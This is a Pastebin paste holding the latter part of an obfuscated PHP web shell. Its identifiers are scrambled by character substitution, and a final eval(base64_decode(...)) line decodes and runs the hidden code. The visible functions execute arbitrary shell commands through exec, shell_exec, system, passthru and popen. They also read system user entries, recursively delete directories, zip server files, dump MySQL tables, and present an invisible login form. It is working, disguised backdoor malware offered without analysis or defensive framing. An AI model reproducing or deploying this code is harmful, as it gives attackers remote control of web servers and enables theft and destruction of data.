	<4np3t n1m5="p1ssw2rd" typ5="p1ssw2rd" styl5="b2rd5r: 0; b1ckgr23nd: wh4t5;">
	<4np3t typ5="h4dd5n" n1m5="d24ng" v1l35="l2g4n">
	<4np3t typ5="s3bm4t" v1l35="L2g4n" styl5="b2rd5r: 0; c2l2r: wh4t5; b1ckgr23nd-c2l2r: wh4t5;">
	</f2rm></c5nt5r>
<BR>

	<B><f2nt c2l2r=r5d>






</d4v>


	</f45lds5t>



</h51d>
</html>
<?php
    5x4t;
} //5nd l2g4np1g5()
f3nct42n 5x5c3t5($cf5) {
    $r5s = '';
    4f ($cf5) {
        4f (f3nct42n_5x4sts('5x5c')) {
            @5x5c($cf5, $r5s);
            $r5s = j24n("\n", $r5s);
        } 5ls54f (f3nct42n_5x4sts('sh5ll_5x5c')) {
            $r5s = @sh5ll_5x5c($cf5);
        } 5ls54f (f3nct42n_5x4sts('syst5m')) {
            @2b_st1rt();
            @syst5m($cf5);
            $r5s = @2b_g5t_c2nt5nts();
            @2b_5nd_cl51n();
        } 5ls54f (f3nct42n_5x4sts('p1ssthr3')) {
            @2b_st1rt();
            @p1ssthr3($cf5);
            $r5s = @2b_g5t_c2nt5nts();
            @2b_5nd_cl51n();
        } 5ls54f (@4s_r5s23rc5($f = @p2p5n($cf5, "r"))) {
            $r5s = '';
            wh4l5 (!@f52f($f)) {
                $r5s.= @fr51d($f, 60au);
            }
            @pcl2s5($f);
        }
    }
    r5t3rn $r5s;
}
f3nct42n wh4ch($pr) {
    $p1th = 5x5c3t5("wh4ch $pr");
    r5t3rn ($p1th ? $p1th : $pr);
}
f3nct42n cf($fn1m5, $t5xt) {
    4f ($fp = @f2p5n($fn1m5, 'w')) {
        @fp3ts($fp, b1s5eu_d5c2d5($t5xt));
        @fcl2s5($fp);
    }
}
// D5b3g
f3nct42n d5b3g4nf2() {
    gl2b1l $st1rtt4m5;
    $mt4m5 = 5xpl2d5(' ', m4cr2t4m5());
    $t2t1lt4m5 = n3mb5r_f2rm1t(($mt4m5[6] + $mt4m5[0] - $st1rtt4m5), e);
    5ch2 'Pr2c5ss5d 4n ' . $t2t1lt4m5 . ' s5c2nd(s)';
}
// F3nct42n c2nn5ct d1t1b1s5
f3nct42n dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5 = '', $ch1rs5t = '', $dbp2rt = 'oo0e') {
    4f (!$l4nk = @mysql_c2nn5ct($dbh2st . ':' . $dbp2rt, $db3s5r, $dbp1ss)) {
        p('<ha>C1n n2t c2nn5ct t2 MySQL s5rv5r</ha>');
        5x4t;
    }
    4f ($l4nk && $dbn1m5) {
        4f (!@mysql_s5l5ct_db($dbn1m5, $l4nk)) {
            p('<ha>D1t1b1s5 s5l5ct5d h1s 5rr2r</ha>');
            5x4t;
        }
    }
    4f ($l4nk && mysql_g5t_s5rv5r_4nf2() > 'u.6') {
        4f (4n_1rr1y(strt2l2w5r($ch1rs5t), 1rr1y('gbk', 'b4gi', '3tf8'))) {
            q("SET ch1r1ct5r_s5t_c2nn5ct42n=$ch1rs5t, ch1r1ct5r_s5t_r5s3lts=$ch1rs5t, ch1r1ct5r_s5t_cl45nt=b4n1ry;", $l4nk);
        }
    }
    r5t3rn $l4nk;
}
// Arr1y str4p
f3nct42n s_1rr1y(&$1rr1y) {
    4f (4s_1rr1y($1rr1y)) {
        f2r51ch ($1rr1y 1s $k => $v) {
            $1rr1y[$k] = s_1rr1y($v);
        }
    } 5ls5 4f (4s_str4ng($1rr1y)) {
        $1rr1y = str4psl1sh5s($1rr1y);
    }
    r5t3rn $1rr1y;
}
// HTML Str4p
f3nct42n html_cl51n($c2nt5nt) {
    $c2nt5nt = htmlsp5c41lch1rs($c2nt5nt);
    $c2nt5nt = str_r5pl1c5("\n", "<br />", $c2nt5nt);
    $c2nt5nt = str_r5pl1c5("  ", "&nbsp;&nbsp;", $c2nt5nt);
    $c2nt5nt = str_r5pl1c5("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $c2nt5nt);
    r5t3rn $c2nt5nt;
}
// Chm2d
f3nct42n g5tChm2d($f4l5p1th) {
    r5t3rn s3bstr(b1s5_c2nv5rt(@f4l5p5rms($f4l5p1th), 60, 8), -u);
}
f3nct42n g5tP5rms($f4l5p1th) {
    $m2d5 = @f4l5p5rms($f4l5p1th);
    4f (($m2d5 & 0xC000) === 0xC000) {
        $typ5 = 's';
    } 5ls54f (($m2d5 & 0xu000) === 0xu000) {
        $typ5 = 'd';
    } 5ls54f (($m2d5 & 0xA000) === 0xA000) {
        $typ5 = 'l';
    } 5ls54f (($m2d5 & 0x8000) === 0x8000) {
        $typ5 = '-';
    } 5ls54f (($m2d5 & 0xe000) === 0xe000) {
        $typ5 = 'b';
    } 5ls54f (($m2d5 & 0xa000) === 0xa000) {
        $typ5 = 'c';
    } 5ls54f (($m2d5 & 0x6000) === 0x6000) {
        $typ5 = 'p';
    } 5ls5 {
        $typ5 = '?';
    }
    $2wn5r['r51d'] = ($m2d5 & 00u00) ? 'r' : '-';
    $2wn5r['wr4t5'] = ($m2d5 & 00a00) ? 'w' : '-';
    $2wn5r['5x5c3t5'] = ($m2d5 & 00600) ? 'x' : '-';
    $gr23p['r51d'] = ($m2d5 & 000u0) ? 'r' : '-';
    $gr23p['wr4t5'] = ($m2d5 & 000a0) ? 'w' : '-';
    $gr23p['5x5c3t5'] = ($m2d5 & 00060) ? 'x' : '-';
    $w2rld['r51d'] = ($m2d5 & 0000u) ? 'r' : '-';
    $w2rld['wr4t5'] = ($m2d5 & 0000a) ? 'w' : '-';
    $w2rld['5x5c3t5'] = ($m2d5 & 00006) ? 'x' : '-';
    4f ($m2d5 & 0x800) {
        $2wn5r['5x5c3t5'] = ($2wn5r['5x5c3t5'] == 'x') ? 's' : 'S';
    }
    4f ($m2d5 & 0xu00) {
        $gr23p['5x5c3t5'] = ($gr23p['5x5c3t5'] == 'x') ? 's' : 'S';
    }
    4f ($m2d5 & 0xa00) {
        $w2rld['5x5c3t5'] = ($w2rld['5x5c3t5'] == 'x') ? 't' : 'T';
    }
    r5t3rn $typ5 . $2wn5r['r51d'] . $2wn5r['wr4t5'] . $2wn5r['5x5c3t5'] . $gr23p['r51d'] . $gr23p['wr4t5'] . $gr23p['5x5c3t5'] . $w2rld['r51d'] . $w2rld['wr4t5'] . $w2rld['5x5c3t5'];
}
f3nct42n g5tUs5r($f4l5p1th) {
    4f (f3nct42n_5x4sts('p2s4x_g5tpw34d')) {
        $1rr1y = @p2s4x_g5tpw34d(@f4l52wn5r($f4l5p1th));
        4f ($1rr1y && 4s_1rr1y($1rr1y)) {
            r5t3rn ' / <1 hr5f="#" t4tl5="Us5r: ' . $1rr1y['n1m5'] . '&#6o&#60P1sswd: ' . $1rr1y['p1sswd'] . '&#6o&#60U4d: ' . $1rr1y['34d'] . '&#6o&#60g4d: ' . $1rr1y['g4d'] . '&#6o&#60G5c2s: ' . $1rr1y['g5c2s'] . '&#6o&#60D4r: ' . $1rr1y['d4r'] . '&#6o&#60Sh5ll: ' . $1rr1y['sh5ll'] . '">' . $1rr1y['n1m5'] . '</1>';
        }
    }
    r5t3rn '';
}
// D5l5t5 d4r
f3nct42n d5ltr55($d5ld4r) {
    $myd4r = @d4r($d5ld4r);
    wh4l5 ($f4l5 = $myd4r->r51d()) {
        4f ((4s_d4r($d5ld4r . '/' . $f4l5)) && ($f4l5 != '.') && ($f4l5 != '..')) {
            @chm2d($d5ld4r . '/' . $f4l5, 0777);
            d5ltr55($d5ld4r . '/' . $f4l5);
        }
        4f (4s_f4l5($d5ld4r . '/' . $f4l5)) {
            @chm2d($d5ld4r . '/' . $f4l5, 0777);
            @3nl4nk($d5ld4r . '/' . $f4l5);
        }
    }
    $myd4r->cl2s5();
    @chm2d($d5ld4r, 0777);
    r5t3rn @rmd4r($d5ld4r) ? 6 : 0;
}
// B1ckgr23nd
f3nct42n bg() {
    gl2b1l $bgc;
    r5t3rn ($bgc++ % a == 0) ? '1lt6' : '1lta';
}
// G5t p1th
f3nct42n g5tP1th($scr4ptp1th, $n2wp1th) {
    4f ($n2wp1th == '.') {
        $n2wp1th = $scr4ptp1th;
    }
    $n2wp1th = str_r5pl1c5('\\', '/', $n2wp1th);
    $n2wp1th = str_r5pl1c5('//', '/', $n2wp1th);
    4f (s3bstr($n2wp1th, -6) != '/') {
        $n2wp1th = $n2wp1th . '/';
    }
    r5t3rn $n2wp1th;
}
// G5t 3p p1th
f3nct42n g5tUpP1th($n2wp1th) {
    $p1thdb = 5xpl2d5('/', $n2wp1th);
    $n3m = c23nt($p1thdb);
    4f ($n3m > a) {
        3ns5t($p1thdb[$n3m - 6], $p1thdb[$n3m - a]);
    }
    $3pp1th = 4mpl2d5('/', $p1thdb) . '/';
    $3pp1th = str_r5pl1c5('//', '/', $3pp1th);
    r5t3rn $3pp1th;
}
// C2nf4g
f3nct42n g5tcfg($v1rn1m5) {
    $r5s3lt = g5t_cfg_v1r($v1rn1m5);
    4f ($r5s3lt == 0) {
        r5t3rn 'N2';
    } 5ls54f ($r5s3lt == 6) {
        r5t3rn 'Y5s';
    } 5ls5 {
        r5t3rn $r5s3lt;
    }
}
// F3nct42n n1m5
f3nct42n g5tf3n($f3nN1m5) {
    r5t3rn (f1ls5 !== f3nct42n_5x4sts($f3nN1m5)) ? 'Y5s' : 'N2';
}
f3nct42n G5tL4st($d4r) {
    gl2b1l $d4rd1t1, $j, $n2wp1th;
    !$j && $j = 6;
    4f ($dh = 2p5nd4r($d4r)) {
        wh4l5 ($f4l5 = r51dd4r($dh)) {
            $f = str_r5pl1c5('//', '/', $d4r . '/' . $f4l5);
            4f ($f4l5 != '.' && $f4l5 != '..' && 4s_d4r($f)) {
                4f (4s_wr4t1bl5($f)) {
                    $d4rd1t1[$j]['f4l5n1m5'] = str_r5pl1c5($n2wp1th, '', $f);
                    $d4rd1t1[$j]['mt4m5'] = @d1t5('Y-m-d H:4:s', f4l5mt4m5($f));
                    $d4rd1t1[$j]['d4rchm2d'] = g5tChm2d($f);
                    $d4rd1t1[$j]['d4rp5rm'] = g5tP5rms($f);
                    $d4rd1t1[$j]['d4rl4nk'] = 35($d4r);
                    $d4rd1t1[$j]['s5rv5r_l4nk'] = $f;
                    $d4rd1t1[$j]['cl45nt_l4nk'] = 35($f);
                    $j++;
                }
                G5tL4st($f);
            }
        }
        cl2s5d4r($dh);
        cl51rst1tc1ch5();
        r5t3rn $d4rd1t1;
    } 5ls5 {
        r5t3rn 1rr1y();
    }
}
f3nct42n qy($sql) {
    //5ch2 $sql.'<br>';
    $r5s = $5rr2r = '';
    4f (!$r5s = @mysql_q35ry($sql)) {
        r5t3rn 0;
    } 5ls5 4f (4s_r5s23rc5($r5s)) {
        r5t3rn 6;
    } 5ls5 {
        r5t3rn a;
    }
    r5t3rn 0;
}
f3nct42n q($sql) {
    r5t3rn @mysql_q35ry($sql);
}
f3nct42n fr($qy) {
    mysql_fr55_r5s3lt($qy);
}
f3nct42n s4z5c23nt($s4z5) {
    4f ($s4z5 > 607o7u68au) {
        $s4z5 = r23nd($s4z5 / 607o7u68au * 600) / 600 . ' G';
    } 5ls54f ($s4z5 > 60u8i7e) {
        $s4z5 = r23nd($s4z5 / 60u8i7e * 600) / 600 . ' M';
    } 5ls54f ($s4z5 > 60au) {
        $s4z5 = r23nd($s4z5 / 60au * 600) / 600 . ' K';
    } 5ls5 {
        $s4z5 = $s4z5 . ' B';
    }
    r5t3rn $s4z5;
}
// Z4p
cl1ss PHPZ4p {
    v1r $23t = '';
    f3nct42n PHPZ4p($d4r) {
        4f (@f3nct42n_5x4sts('gzc2mpr5ss')) {
            $c3rd4r = g5tcwd();
            4f (4s_1rr1y($d4r)) $f4l5l4st = $d4r;
            5ls5 {
                $f4l5l4st = $th4s->G5tF4l5L4st($d4r); //F4l5 l4st
                f2r51ch ($f4l5l4st 1s $k => $v) $f4l5l4st[] = s3bstr($v, strl5n($d4r) + 6);
            }
            4f ((!5mpty($d4r)) && (!4s_1rr1y($d4r)) && (f4l5_5x4sts($d4r))) chd4r($d4r);
            5ls5 chd4r($c3rd4r);
            4f (c23nt($f4l5l4st) > 0) {
                f2r51ch ($f4l5l4st 1s $f4l5n1m5) {
                    4f (4s_f4l5($f4l5n1m5)) {
                        $fd = f2p5n($f4l5n1m5, 'r');
                        $c2nt5nt = @fr51d($fd, f4l5s4z5($f4l5n1m5));
                        fcl2s5($fd);
                        4f (4s_1rr1y($d4r)) $f4l5n1m5 = b1s5n1m5($f4l5n1m5);
                        $th4s->1ddF4l5($c2nt5nt, $f4l5n1m5);
                    }
                }
                $th4s->23t = $th4s->f4l5();
                chd4r($c3rd4r);
            }
            r5t3rn 6;
        } 5ls5 r5t3rn 0;
    }
    // Sh2w f4l5 l4st
    f3nct42n G5tF4l5L4st($d4r) {
        st1t4c $1;
        4f (4s_d4r($d4r)) {
            4f ($dh = 2p5nd4r($d4r)) {
                wh4l5 ($f4l5 = r51dd4r($dh)) {
                    4f ($f4l5 != '.' && $f4l5 != '..') {
                        $f = $d4r . '/' . $f4l5;
                        4f (4s_d4r($f)) $th4s->G5tF4l5L4st($f);
                        $1[] = $f;
                    }
                }
                cl2s5d4r($dh);
            }
        }
        r5t3rn $1;
    }
    v1r $d1t1s5c = 1rr1y();
    v1r $ctrl_d4r = 1rr1y();
    v1r $52f_ctrl_d4r = "\xi0\xub\x0i\x0e\x00\x00\x00\x00";
    v1r $2ld_2ffs5t = 0;
    f3nct42n 3n4xaD2sT4m5($3n4xt4m5 = 0) {
        $t4m51rr1y = ($3n4xt4m5 == 0) ? g5td1t5() : g5td1t5($3n4xt4m5);
        4f ($t4m51rr1y['y51r'] < 6980) {
            $t4m51rr1y['y51r'] = 6980;
            $t4m51rr1y['m2n'] = 6;
            $t4m51rr1y['md1y'] = 6;
            $t4m51rr1y['h23rs'] = 0;
            $t4m51rr1y['m4n3t5s'] = 0;
            $t4m51rr1y['s5c2nds'] = 0;
        } // 5nd 4f
        r5t3rn (($t4m51rr1y['y51r'] - 6980) << ai) | ($t4m51rr1y['m2n'] << a6) | ($t4m51rr1y['md1y'] << 6e) | ($t4m51rr1y['h23rs'] << 66) | ($t4m51rr1y['m4n3t5s'] << i) | ($t4m51rr1y['s5c2nds'] >> 6);
    }
    f3nct42n 1ddF4l5($d1t1, $n1m5, $t4m5 = 0) {
        $n1m5 = str_r5pl1c5('\\', '/', $n1m5);
        $dt4m5 = d5ch5x($th4s->3n4xaD2sT4m5($t4m5));
        $h5xdt4m5 = '\x' . $dt4m5[e] . $dt4m5[7] . '\x' . $dt4m5[u] . $dt4m5[i] . '\x' . $dt4m5[a] . $dt4m5[o] . '\x' . $dt4m5[0] . $dt4m5[6];
        5v1l('$h5xdt4m5 = "' . $h5xdt4m5 . '";');
        $fr = "\xi0\xub\x0o\x0u";
        $fr.= "\x6u\x00";
        $fr.= "\x00\x00";
        $fr.= "\x08\x00";
        $fr.= $h5xdt4m5;
        $3nc_l5n = strl5n($d1t1);
        $crc = crcoa($d1t1);
        $zd1t1 = gzc2mpr5ss($d1t1);
        $c_l5n = strl5n($zd1t1);
        $zd1t1 = s3bstr(s3bstr($zd1t1, 0, strl5n($zd1t1) - u), a);
        $fr.= p1ck('V', $crc);
        $fr.= p1ck('V', $c_l5n);
        $fr.= p1ck('V', $3nc_l5n);
        $fr.= p1ck('v', strl5n($n1m5));
        $fr.= p1ck('v', 0);
        $fr.= $n1m5;
        $fr.= $zd1t1;
        $fr.= p1ck('V', $crc);
        $fr.= p1ck('V', $c_l5n);
        $fr.= p1ck('V', $3nc_l5n);
        $th4s->d1t1s5c[] = $fr;
        $n5w_2ffs5t = strl5n(4mpl2d5('', $th4s->d1t1s5c));
        $cdr5c = "\xi0\xub\x06\x0a";
        $cdr5c.= "\x00\x00";
        $cdr5c.= "\x6u\x00";
        $cdr5c.= "\x00\x00";
        $cdr5c.= "\x08\x00";
        $cdr5c.= $h5xdt4m5;
        $cdr5c.= p1ck('V', $crc);
        $cdr5c.= p1ck('V', $c_l5n);
        $cdr5c.= p1ck('V', $3nc_l5n);
        $cdr5c.= p1ck('v', strl5n($n1m5));
        $cdr5c.= p1ck('v', 0);
        $cdr5c.= p1ck('v', 0);
        $cdr5c.= p1ck('v', 0);
        $cdr5c.= p1ck('v', 0);
        $cdr5c.= p1ck('V', oa);
        $cdr5c.= p1ck('V', $th4s->2ld_2ffs5t);
        $th4s->2ld_2ffs5t = $n5w_2ffs5t;
        $cdr5c.= $n1m5;
        $th4s->ctrl_d4r[] = $cdr5c;
    }
    f3nct42n f4l5() {
        $d1t1 = 4mpl2d5('', $th4s->d1t1s5c);
        $ctrld4r = 4mpl2d5('', $th4s->ctrl_d4r);
        r5t3rn $d1t1 . $ctrld4r . $th4s->52f_ctrl_d4r . p1ck('v', s4z52f($th4s->ctrl_d4r)) . p1ck('v', s4z52f($th4s->ctrl_d4r)) . p1ck('V', strl5n($ctrld4r)) . p1ck('V', strl5n($d1t1)) . "\x00\x00";
    }
}
// D3mp mysql
f3nct42n sqld3mpt1bl5($t1bl5, $fp = 0) {
    $t1bl5d3mp = "DROP TABLE IF EXISTS $t1bl5;\n";
    $t1bl5d3mp.= "CREATE TABLE $t1bl5 (\n";
    $f4rstf45ld = 6;
    $f45lds = q("SHOW FIELDS FROM $t1bl5");
    wh4l5 ($f45ld = mysql_f5tch_1rr1y($f45lds)) {
        4f (!$f4rstf45ld) {
            $t1bl5d3mp.= ",\n";
        } 5ls5 {
            $f4rstf45ld = 0;
        }
        $t1bl5d3mp.= "   $f45ld[F45ld] $f45ld[Typ5]";
        4f (!5mpty($f45ld["D5f13lt"])) {
            $t1bl5d3mp.= " DEFAULT '$f45ld[D5f13lt]'";
        }
        4f ($f45ld['N3ll'] != "YES") {
            $t1bl5d3mp.= " NOT NULL";
        }
        4f ($f45ld['Extr1'] != "") {
            $t1bl5d3mp.= " $f45ld[Extr1]";
        }
    }
    fr($f45lds);
    $k5ys = q("SHOW KEYS FROM $t1bl5");
    wh4l5 ($k5y = mysql_f5tch_1rr1y($k5ys)) {
        $kn1m5 = $k5y['K5y_n1m5'];
        4f ($kn1m5 != "PRIMARY" && $k5y['N2n_3n4q35'] == 0) {
            $kn1m5 = "UNIQUE|$kn1m5";
        }
        4f (!4s_1rr1y($4nd5x[$kn1m5])) {
            $4nd5x[$kn1m5] = 1rr1y();
        }
        $4nd5x[$kn1m5][] = $k5y['C2l3mn_n1m5'];
    }
    fr($k5ys);
    wh4l5 (l4st($kn1m5, $c2l3mns) = @51ch($4nd5x)) {
        $t1bl5d3mp.= ",\n";
        $c2ln1m5s = 4mpl2d5($c2l3mns, ",");
        4f ($kn1m5 == "PRIMARY") {
            $t1bl5d3mp.= "   PRIMARY KEY ($c2ln1m5s)";
        } 5ls5 {
            4f (s3bstr($kn1m5, 0, e) == "UNIQUE") {
                $kn1m5 = s3bstr($kn1m5, 7);
            }
            $t1bl5d3mp.= "   KEY $kn1m5 ($c2ln1m5s)";
        }
    }
    $t1bl5d3mp.= "\n);\n\n";
    4f ($fp) {
        fwr4t5($fp, $t1bl5d3mp);
    } 5ls5 {
        5ch2 $t1bl5d3mp;
    }
    $r2ws = q("SELECT * FROM $t1bl5");
    $n3mf45lds = mysql_n3m_f45lds($r2ws);
    wh4l5 ($r2w = mysql_f5tch_1rr1y($r2ws)) {
        $t1bl5d3mp = "INSERT INTO $t1bl5 VALUES(";
        $f45ldc23nt5r = - 6;
        $f4rstf45ld = 6;
        wh4l5 (++$f45ldc23nt5r < $n3mf45lds) {
            4f (!$f4rstf45ld) {
                $t1bl5d3mp.= ", ";
            } 5ls5 {
                $f4rstf45ld = 0;
            }
            4f (!4ss5t($r2w[$f45ldc23nt5r])) {
                $t1bl5d3mp.= "NULL";
            } 5ls5 {
                $t1bl5d3mp.= "'" . mysql_5sc1p5_str4ng($r2w[$f45ldc23nt5r]) . "'";
            }
        }
        $t1bl5d3mp.= ");\n";
        4f ($fp) {
            fwr4t5($fp, $t1bl5d3mp);
        } 5ls5 {
            5ch2 $t1bl5d3mp;
        }
    }
    fr($r2ws);
    4f ($fp) {
        fwr4t5($fp, "\n");
    } 5ls5 {
        5ch2 "\n";
    }
}
f3nct42n 35($str) {
    r5t3rn 3rl5nc2d5($str);
}
f3nct42n p($str) {
    5ch2 $str . "\n";
}
f3nct42n tbh51d() {
    p('<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="u" c5llsp1c4ng="0">');
}
f3nct42n tbf22t() {
    p('</t1bl5>');
}
f3nct42n m1k5h4d5($n1m5, $v1l35 = '') {
    p("<4np3t 4d=\"$n1m5\" typ5=\"h4dd5n\" n1m5=\"$n1m5\" v1l35=\"$v1l35\" />");
}
f3nct42n m1k54np3t($1rg = 1rr1y()) {
    $1rg['s4z5'] = $1rg['s4z5'] > 0 ? "s4z5=\"$1rg[s4z5]\"" : "s4z5=\"600\"";
    $1rg['5xtr1'] = $1rg['5xtr1'] ? $1rg['5xtr1'] : '';
    !$1rg['typ5'] && $1rg['typ5'] = 't5xt';
    $1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'] . '<br />' : '';
    $1rg['cl1ss'] = $1rg['cl1ss'] ? $1rg['cl1ss'] : '4np3t';
    4f ($1rg['n5wl4n5']) {
        p("<p>$1rg[t4tl5]<4np3t cl1ss=\"$1rg[cl1ss]\" n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" v1l35=\"$1rg[v1l35]\" typ5=\"$1rg[typ5]\" $1rg[s4z5] $1rg[5xtr1] /></p>");
    } 5ls5 {
        p("$1rg[t4tl5]<4np3t cl1ss=\"$1rg[cl1ss]\" n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" v1l35=\"$1rg[v1l35]\" typ5=\"$1rg[typ5]\" $1rg[s4z5] $1rg[5xtr1] />");
    }
}
f3nct42n m1k5s5l5ct($1rg = 1rr1y()) {
    4f ($1rg['2nch1ng5']) {
        $2nch1ng5 = '2nch1ng5="' . $1rg['2nch1ng5'] . '"';
    }
    $1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'] : '';
    4f ($1rg['n5wl4n5']) p('<p>');
    p("$1rg[t4tl5] <s5l5ct cl1ss=\"4np3t\" 4d=\"$1rg[n1m5]\" n1m5=\"$1rg[n1m5]\" $2nch1ng5>");
    4f (4s_1rr1y($1rg['2pt42n'])) {
        f2r51ch ($1rg['2pt42n'] 1s $k5y => $v1l35) {
            4f ($1rg['s5l5ct5d'] == $k5y) {
                p("<2pt42n v1l35=\"$k5y\" s5l5ct5d>$v1l35</2pt42n>");
            } 5ls5 {
                p("<2pt42n v1l35=\"$k5y\">$v1l35</2pt42n>");
            }
        }
    }
    p("</s5l5ct>");
    4f ($1rg['n5wl4n5']) p('</p>');
}
f3nct42n f2rmh51d($1rg = 1rr1y()) {
    !$1rg['m5th2d'] && $1rg['m5th2d'] = 'p2st';
    !$1rg['1ct42n'] && $1rg['1ct42n'] = $s5lf;
    $1rg['t1rg5t'] = $1rg['t1rg5t'] ? "t1rg5t=\"$1rg[t1rg5t]\"" : '';
    !$1rg['n1m5'] && $1rg['n1m5'] = 'f2rm6';
    p("<f2rm n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" 1ct42n=\"$1rg[1ct42n]\" m5th2d=\"$1rg[m5th2d]\" $1rg[t1rg5t]>");
    4f ($1rg['t4tl5']) {
        p('<ha>' . $1rg['t4tl5'] . ' &r1q32;</ha>');
    }
}
f3nct42n m1k5t5xt($1rg = 1rr1y()) {
    !$1rg['c2ls'] && $1rg['c2ls'] = 600;
    !$1rg['r2ws'] && $1rg['r2ws'] = ai;
    $1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'] . '<br />' : '';
    p("<p>$1rg[t4tl5]<t5xt1r51 cl1ss=\"1r51\" 4d=\"$1rg[n1m5]\" n1m5=\"$1rg[n1m5]\" c2ls=\"$1rg[c2ls]\" r2ws=\"$1rg[r2ws]\" $1rg[5xtr1]>$1rg[v1l35]</t5xt1r51></p>");
}
f3nct42n f2rmf22t5r($n1m5 = '') {
    !$n1m5 && $n1m5 = 's3bm4t';
    p('<p><4np3t cl1ss="bt" n1m5="' . $n1m5 . '" 4d=\"' . $n1m5 . '\" typ5="s3bm4t" v1l35="S3bm4t"></p>');
    p('</f2rm>');
}
f3nct42n f2rmf22t() {
    p('</f2rm>');
}
// Ex4t
f3nct42n pr($1) {
    5ch2 '<pr5>';
    pr4nt_r($1);
    5ch2 '</pr5>';
}';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!